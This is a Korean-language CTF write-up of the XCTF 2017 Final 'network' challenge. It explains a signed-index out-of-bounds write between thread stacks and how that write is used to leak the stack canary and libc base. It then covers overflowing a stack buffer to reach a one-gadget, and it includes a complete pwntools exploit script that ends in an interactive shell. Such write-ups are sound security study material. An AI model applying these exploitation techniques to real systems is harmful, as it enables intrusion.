Abstract
XCTF 2017 Final에서 2일 차에 공개된 문제. jinmo123이 first blood로 풀어 모든 팀들을 압살하고 1위를 찍은 문제.
취약점은 은근히 간단하지만, 아무리 생각해봐도 당시 jinmo123이 풀었던 속도로는 못 풀었을 것 같다. (개빠름)
그래도 당시에 제대로 봤다면 최소한 늦은 exploit이나 patch라도 가능했을텐데, 너무나 아쉽다.
Main thread
main함수는 아래와 같이 10개의 thread를 생성하고, 사용자의 input을 0번 thread에 전송한다.
|
// 9개의 transfer thread 와 1개의 message thread를 생성.
// 무한루프를 돌며 사용자에게 입력을 받고, 0번 transfer thread에 전송.
(1) Transfer thread
transfer thread는 사용자에게 입력받은 데이터를 다음 thread에 전달하는 역할을 한다.
크게 2가지 기능을 가지고 있다.
1. transfer - 사용자가 지정한 thread에 input이 도달할 때까지 다음 thread로 input을 전달한다. 2. update - 사용자가 지정한 thread가 가지고 있는 thread information을 갱신한다. |
아래는 transfer thread의 코드이다.
|
코드를 파트별로 나누어보면 아래와 같다.
1. transfer : 전송 대상이 message thread이면 0x108 byte를 입력받아 다음 transfer thread로 전송한다. 2. transfer : 전송 대상이 자신이 아닌 transfer thread이면 0x1c byte를 입력받아 다음 transfer thread로 전송한다. 3. update : 전송 대상이 자신이면 0x1c byte를 입력받아 thread information table(thread_info)을 갱신한다. |
transfer thread
User input
main thread (input) |
transfer thread 0 |
transfer thread 1 |
transfer thread 2 |
transfer thread 3 |
transfer thread 4 |
transfer thread 5 |
transfer thread 6 |
transfer thread 7 | transfer thread 8 |
Message thread |
(2) Message thread
message thread는 name과 message를 지역변수에 입력(set)받고, 보여주는 기능(show)을 하는 간단한 쓰레드이다.
이 thread 자체에서 취약점을 찾지는 못했지만, exploit할 때 이용할 수 있었다.
name과 message를 저장하는 지역변수는 아래와 같은 구조체로 정의되어있다.
struct broker_buf{
int name_length;
char name[0x200];
int msg_length;
char msg[0x200];
}
show info 기능은 message 구조체에 저장된 name, msg를 name_length, msg_length만큼 출력(write)해준다.
set info 기능은 사용자에게 name_length, name, msg_length, msg를 입력받고 구조체에 저장한다. 이외에 별다른 특징은 없다.
Out Of Boundary
transfer thread의 3가지 기능 중, thread information table을 갱신하는 기능에서 취약점이 발생한다. 사용자에게 업데이트 할 thread information table의 index를 입력받는데(t_info_buf[0]), signed int형으로 boundary check를 하기 때문에 index가 음수일 때 out of boundary 주소에 memcpy를 시킬 수 있다.
// t_info_buf[0] > 9로 비교함. t_info_buf를 unsigned로 임시형변환을 하거나 0보다 작은지 검사했어야 함.
아래와 같이 message thread stack이 transfer thread stack보다 낮은 주소에 있기 때문에 index를 잘 control하면 message thread의 지역변수를 덮어쓸 수 있다.
gdb-peda$ shell cat /proc/15935/maps
5593c65ee000-5593c65f1000 r-xp 00000000 fc:00 3409115 /home/pwn3r/network
5593c67f0000-5593c67f1000 r--p 00002000 fc:00 3409115 /home/pwn3r/network
5593c67f1000-5593c67f2000 rw-p 00003000 fc:00 3409115 /home/pwn3r/network
5593c741a000-5593c743b000 rw-p 00000000 00:00 0 [heap]
7f192d451000-7f192d452000 ---p 00000000 00:00 0
7f192d452000-7f192dc52000 rw-p 00000000 00:00 0 message thread stack
7f192dc52000-7f192dc53000 ---p 00000000 00:00 0
7f192dc53000-7f192e453000 rw-p 00000000 00:00 0 transfer thread 8 stack
7f192e453000-7f192e454000 ---p 00000000 00:00 0
7f192e454000-7f192ec54000 rw-p 00000000 00:00 0 transfer thread 7 stack
7f192ec54000-7f192ec55000 ---p 00000000 00:00 0
7f192ec55000-7f192f455000 rw-p 00000000 00:00 0 transfer thread 6 stack
7f192f455000-7f192f456000 ---p 00000000 00:00 0
7f192f456000-7f192fc56000 rw-p 00000000 00:00 0 transfer thread 5 stack
7f192fc56000-7f192fc57000 ---p 00000000 00:00 0
7f192fc57000-7f1930457000 rw-p 00000000 00:00 0 transfer thread 4 stack
7f1930457000-7f1930458000 ---p 00000000 00:00 0
7f1930458000-7f1930c58000 rw-p 00000000 00:00 0 transfer thread 3 stack
7f1930c58000-7f1930c59000 ---p 00000000 00:00 0
7f1930c59000-7f1931459000 rw-p 00000000 00:00 0 transfer thread 2 stack
7f1931459000-7f193145a000 ---p 00000000 00:00 0
7f193145a000-7f1931c5a000 rw-p 00000000 00:00 0 transfer thread 1 stack
7f1931c5a000-7f1931c5b000 ---p 00000000 00:00 0
7f1931c5b000-7f193245b000 rw-p 00000000 00:00 0 transfer thread 0 stack
7f193245b000-7f193261b000 r-xp 00000000 fc:00 3683173 /lib/x86_64-linux-gnu/libc-2.23.so
7f193261b000-7f193281b000 ---p 001c0000 fc:00 3683173 /lib/x86_64-linux-gnu/libc-2.23.so
7f193281b000-7f193281f000 r--p 001c0000 fc:00 3683173 /lib/x86_64-linux-gnu/libc-2.23.so
7f193281f000-7f1932821000 rw-p 001c4000 fc:00 3683173 /lib/x86_64-linux-gnu/libc-2.23.so
7f1932821000-7f1932825000 rw-p 00000000 00:00 0
7f1932825000-7f193283d000 r-xp 00000000 fc:00 3683172 /lib/x86_64-linux-gnu/libpthread-2.23.so
7f193283d000-7f1932a3c000 ---p 00018000 fc:00 3683172 /lib/x86_64-linux-gnu/libpthread-2.23.so
7f1932a3c000-7f1932a3d000 r--p 00017000 fc:00 3683172 /lib/x86_64-linux-gnu/libpthread-2.23.so
7f1932a3d000-7f1932a3e000 rw-p 00018000 fc:00 3683172 /lib/x86_64-linux-gnu/libpthread-2.23.so
7f1932a3e000-7f1932a42000 rw-p 00000000 00:00 0
7f1932a42000-7f1932a68000 r-xp 00000000 fc:00 3683171 /lib/x86_64-linux-gnu/ld-2.23.so
7f1932c50000-7f1932c54000 rw-p 00000000 00:00 0
7f1932c67000-7f1932c68000 r--p 00025000 fc:00 3683171 /lib/x86_64-linux-gnu/ld-2.23.so
7f1932c68000-7f1932c69000 rw-p 00026000 fc:00 3683171 /lib/x86_64-linux-gnu/ld-2.23.so
7f1932c69000-7f1932c6a000 rw-p 00000000 00:00 0
7ffd806a1000-7ffd806c2000 rw-p 00000000 00:00 0 [stack]
7ffd8077c000-7ffd8077f000 r--p 00000000 00:00 0 [vvar]
7ffd8077f000-7ffd80781000 r-xp 00000000 00:00 0 [vdso]
ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall]
Memory leak
OOB write를 이용하여 message thread에 있는 message 구조체의 msg_length를 0x300정도로 변경하고 show info 기능을 부르면 stack에 있는 SSP와 libc주소를 알아낼 수 있다.
아래와 같이 message thread stack에 있는 message->msg_length의 index를 계산하여 0x2b8로 덮어쓴다.
그 뒤 show info 기능을 부르면 message->msg 를 출력할 때 memory leak 발생!
pay = ''
pay += p32((-((0x801000 * 9 + 0x210 - 0x204)) / 0x18) & 0xffffffff)# index (&message->msg_length on message thread stack)
pay += p32(0x9090) # next w pipe
pay += p32(0) # nid
pay += p32(1) # mid
pay += p32(0x2b8) # tid (new msg_length!)
pay += p32(2) # rand1
pay += p32(3) # rand2
t_send(0, 0, pay)
ru('tid:')
rl()
pay = ''
pay += p32(0x100) # size
pay += p32(0x0) #
pay += p32(0x2) # menu2 : show
pay = pay.ljust(0x108, '\x00')
t_send(9, 1, pay)
ru('name:\n')
ru('msg:\n')
leak = rr(0x2b8)
ssp = u64(leak[0x200:0x208])
libc_base = u64(leak[0x2b0:0x2b8]) - 0x10741d
print hex(ssp)
print hex(libc_base)
Stack overflow
set info 기능을 불러 아래와 같이 입력한다.
name length : 4 name : NAME msg length : 0x100 |
이제 "msg:" 를 출력하고 입력이 read_data함수를 불러 data transfer를 대기하는 상태가 된다. 이 때 OOB write로 length 지역변수를 0x200 이상으로 바꾸어버리면 stack based buffer overflow를 trigger할 수 있다.
아래와 같이 name length / name / msg length 를 입력하여 msg 입력을 대기하는 상태로 만들어놓고, OOB write로 입력받을 길이인 length를 0x200보다 큰 값으로 덮어쓴다. 그 다음 msg 입력에서 overflow가 발생할 때 SSP 복구, return addres = one gadget.
pay = ''
pay += p32(0x100) # size
pay += p32(0x0)
pay += p32(0x1) # menu : add
pay = pay.ljust(0x108, '\x00')
t_send(9, 1, pay)
ru('name length:\n')
pay = ''
pay += p32(0x100) # size
pay += p32(0x0)
pay += p32(0x4) # name_length
pay = pay.ljust(0x108, '\x00')
t_send(9, 1, pay)
ru('name:\n')
pay = ''
pay += p32(0x4) # size
pay += p32(0x1)
pay += 'NAME'
pay = pay.ljust(0x108, '\x00')
t_send(9, 1, pay)
ru('msg length:\n')
pay = ''
pay += p32(0x100) # size
pay += p32(0x0)
pay += p32(0x100) # msg_length
pay = pay.ljust(0x108, '\x00')
t_send(9, 1, pay)
ru('msg:\n')
############### modify msg length on memory ########################
pay = ''
pay += p32((-((0x801000 * 9 + 0x240 + 16 + 0x20)) / 0x18) & 0xffffffff)# index (&length on message thread stack)
pay += p32(0x9090) # next w pipe
pay += p32(0) # nid
pay += p32(0) # mid
pay += p32(0) # tid
pay += p32(0) # rand1
pay += p32(0x200 + 8 + 8 + 8*3) # rand2 = new size (sizeof(msg)+sizeof(canary)+sfp+ret)
t_send(0, 0, pay)
ru('tid:')
rl()
####################################################################
################## trigger bof #####################################
# ru('msg:\n')
pay = ''
pay += p32(0x100) # size
pay += p32(0x1) #
pay = pay.ljust(0x108, 'A')
t_send(9, 1, pay)
pay = ''
pay += p32(0x100) # size
pay += p32(0x1)
pay = pay.ljust(0x108, 'A')
t_send(9, 1, pay)
pay = ''
pay += p32(0x8 * 5) # size
pay += p32(0x1)
pay += p64(ssp) # ssp
pay += p64(0x9090909090909090) # sfp
pay += p64(libc_one_gadget)
pay = pay.ljust(0x108, '\x00')
t_send(9, 1, pay)
####################################################################
Exploit
#!/usr/bin/python
from pwn import *
def t_send(idx, broad, data):
sl('8')
ss(p32(idx)+p32(broad))
assert len(data) == 0x1c or len(data) == 0x108
sl(str(len(data)))
ss(data)
s = process('./network')
ru = s.recvuntil
rl = s.recvline
rr = s.recv
sl = s.sendline
ss = s.send
raw_input('>>>')
rl()
rl()
rl()
pay = ''
pay += p32((-((0x801000 * 9 + 0x210 - 0x204)) / 0x18) & 0xffffffff)# index (&name_length on message thread stack)
pay += p32(0x9090) # next w pipe
pay += p32(0) # nid
pay += p32(1) # mid
pay += p32(0x2b8) # tid
pay += p32(2) # rand1
pay += p32(3) # rand2
t_send(0, 0, pay)
ru('tid:')
rl()
pay = ''
pay += p32(0x100) # size
pay += p32(0x0) #
pay += p32(0x2) # menu2 : show
pay = pay.ljust(0x108, '\x00')
t_send(9, 1, pay)
ru('name:\n')
ru('msg:\n')
leak = rr(0x2b8)
ssp = u64(leak[0x200:0x208])
libc_base = u64(leak[0x2b0:0x2b8]) - 0x10741d
print hex(ssp)
print hex(libc_base)
libc_one_gadget = libc_base + 0xf02a4
libc_system = libc_base + 0x45390
libc_pop_rdi = libc_base + 0x7a170
libc_sh = libc_base + 0x0011e70
pay = ''
pay += p32(0x100) # size
pay += p32(0x0)
pay += p32(0x1) # menu : add
pay = pay.ljust(0x108, '\x00')
t_send(9, 1, pay)
ru('name length:\n')
pay = ''
pay += p32(0x100) # size
pay += p32(0x0)
pay += p32(0x4) # name_length
pay = pay.ljust(0x108, '\x00')
t_send(9, 1, pay)
ru('name:\n')
pay = ''
pay += p32(0x4) # size
pay += p32(0x1)
pay += 'NAME'
pay = pay.ljust(0x108, '\x00')
t_send(9, 1, pay)
ru('msg length:\n')
pay = ''
pay += p32(0x100) # size
pay += p32(0x0)
pay += p32(0x100) # msg_length
pay = pay.ljust(0x108, '\x00')
t_send(9, 1, pay)
ru('msg:\n')
############### modify msg length on memory ########################
pay = ''
pay += p32((-((0x801000 * 9 + 0x240 + 16 + 0x20)) / 0x18) & 0xffffffff) # name_size
pay += p32(0x9090) # next w pipe
pay += p32(0) # nid
pay += p32(0) # mid
pay += p32(0) # tid
pay += p32(0) # rand1
pay += p32(0x200 + 8 + 8 + 8*3) # rand2 = new size (sizeof(msg)+sizeof(canary)+sfp+ret)
t_send(0, 0, pay)
ru('tid:')
rl()
####################################################################
################## trigger bof #####################################
# ru('msg:\n')
pay = ''
pay += p32(0x100) # size
pay += p32(0x1) #
pay = pay.ljust(0x108, 'A')
t_send(9, 1, pay)
pay = ''
pay += p32(0x100) # size
pay += p32(0x1)
pay = pay.ljust(0x108, 'A')
t_send(9, 1, pay)
pay = ''
pay += p32(0x8 * 5) # size
pay += p32(0x1)
pay += p64(ssp) # ssp
pay += p64(0x9090909090909090) # sfp
pay += p64(libc_one_gadget)
pay = pay.ljust(0x108, '\x00')
t_send(9, 1, pay)
####################################################################
############# menu3 quit -> rip control ############################
pay = ''
pay += p32(0x100)
pay += p32(0x0)
pay += p32(0x3)
pay = pay.ljust(0x108, '\x00')
t_send(9, 1, pay)
####################################################################
s.interactive()
s.close()
$ python ex.py
[+] Starting local process './network': pid 5975
>>>
0x862574030b0f8200
0x7efd55335000
[*] Switching to interactive mode
\x04
bye~!
$ id
uid=1000(pwn3r) gid=1000(pwn3r) groups=1000(pwn3r)
'CTF > 2017' 카테고리의 다른 글
HITB GSEC 2017 - babyqemu (0) | 2018.12.03 |
---|---|
XCTF FINAL 2017 - xmail (0) | 2018.10.06 |
CODEGATE 2017 QUAL - js_world (0) | 2018.09.26 |
CODEGATE 2017 FINAL - petshop (0) | 2017.06.04 |
CODEGATE 2017 FINAL - Building Owner (0) | 2017.06.04 |